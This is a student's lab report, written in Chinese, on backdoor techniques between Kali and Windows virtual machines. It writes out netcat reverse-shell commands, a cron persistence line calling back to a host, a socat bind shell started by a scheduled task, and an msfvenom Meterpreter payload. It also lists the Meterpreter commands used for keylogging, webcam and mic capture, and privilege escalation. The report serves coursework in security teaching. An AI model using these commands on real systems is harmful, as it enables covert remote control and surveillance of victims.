20155232《网络对抗》Exp2 后门原理与实践
20155232《网络对抗》Exp2 后门原理与实践
问题回答
- 1.例举你能想到的一个后门进入到你系统中的可能方式?
通过网页上弹出来的软件自动安装
- 2.例举你知道的后门如何启动起来(win及linux)的方式?
更改注册表,自启动方式。
跟正常的软件捆绑起来
- 3.Meterpreter有哪些给你映像深刻的功能?
击键记录还有获取摄像头权限进行拍照。击键记录可以在这段时间内截获到你写的内容或者数据,如果是机密性的东西,就很麻烦了。。获取摄像头权限有种被监视的感觉。。。。
- 4.如何发现自己有系统有没有被安装后门?
通过防火墙还有杀毒软件等还可以观察注册表里的进程。
常用后门工具实践
Windows获得Linux Shell
1.在Windows下,先使用ipconfig指令查看本机IP
2.使用ncat.exe程序监听本机的5233端口:
3.在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5232端口:
弹出防火墙警告:
允许访问即可
4.Windows下成功获得了一个Kali的shell,运行ls指令如下:
2.2Linux获得Windows Shell
1.在Kali环境下用ifconfig查看IP
2.使用nc指令监听5232端口:
3.在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5232端口:
4.Kali下可以看到Windows的命令提示,可以输入Windows命令:
2.3使用nc传输数据
1.Windows下监听5232端口:
2.Kali下连接到Windows的5232端口
3.建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:
3.1 使用netcat获取主机操作Shell,cron启动
1.先在Windows系统下,监听5232端口:
2.在Kali环境下,使用
man crontab
指令查看crontab命令的帮助文档,从文档中可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。
kali系统内每分钟自动运行指令,反弹至pc端的5232端口
3.用
crontab -e
指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:
4.在最后一行添加
18 * * * * /bin/netcat 10.1.1.141 5232 -e /bin/sh
,意思是在每个小时的第18分钟反向连接Windows主机的5232端口,就会启动cron。设置成18的原因是我当时的时间是16点15,为了能立马看到效果,所以我将时间设置在了3分钟以后:
问题
在这里遇到了一些小问题,在执行这些命令之后,windows的cmd这里在时间到的时候输入dir命令没有任何反应。
解决
后来发现在最开始选择编辑器那里选择错了编辑器,
/bin/nano
没有用vim,所以在输入的时候不会使用。后面再上网搜索如何更改crontab的编辑器:
只需要输入
sudo select-editor
$ sudo select-editor
Select an editor. To change later, run 'select-editor'.
1. /bin/ed
2. /bin/nano <---- easiest
3. /usr/bin/vim.basic
4. /usr/bin/vim.tiny
Choose 1-4 [2]: 3
再用
crontab -e
指令:
在最后一行添加
04 * * * * /bin/netcat 10.1.1.141 5232 -e /bin/sh
问题
在这样修改之后还是不能执行指令,于是上网搜索问题
发现本机时间和虚拟机时间不一致导致问题的出现:
解决
虚拟机时间:
本机时间:
修改时间设置:
输入相关指令,等待。。。。。
在19点31分时输入ls即可显示:
成功!~~
3.2使用socat获取主机操作Shell, 任务计划启动
1.在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
2.下载安装socat软件,下载地址[https://gitee.com/wildlinux/NetSec/attach_files]
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写
tcp-listen:5232 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5232,同时把cmd.exe的stderr重定向到stdout上:
3.创建完成之后,可以windows+L锁定计算机让它执行
弹出警告:
4.Linux下使用
socat - tcp:Win的IP:端口命令
,此时已经获取了Win的shell,可以查看想知道的东西。
3.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.229.255 LPORT=5232 -f exe > 20155232.exe
生成后门程序:
2.通过nc指令将生成的后门程序传送到Windows主机上:(在做这一步之前先将本机的杀毒软件和防火墙关闭)
3.windows上输入:
4.在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
5.exploit:MSF开始监听
6.打开Windows上的后门程序:
20155232_backdoor.exe
7.此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
3.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.使用
record_mic
指令可以截获一段音频:
2.使用
webcam_snap
指令可以使用摄像头进行拍照:
3.使用
webcam stream
指令可以使用摄像头进行录像
4.使用
screenshot
指令可以进行截屏:
5.使用
keyscan_start
指令开始记录下击键的过程,使用
keyscan_dump
指令读取击键的记录
6.先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功
问题
在使用getuid指令查看当前用户,使用getsystem指令进行提权时出现问题:
解决
1.参考链接
2.参考
总结
经过这次试验体验了一次黑客的感觉哈哈~感觉这次试验非常的有趣,本次实验的主要步骤就在于MSF这部分,这部分很容易出错,所以做了很多遍才成功。这次实验后,我的感触最深的就是要加强电脑的安全属性,经常查杀清理,还要预防防止一些恶意软件。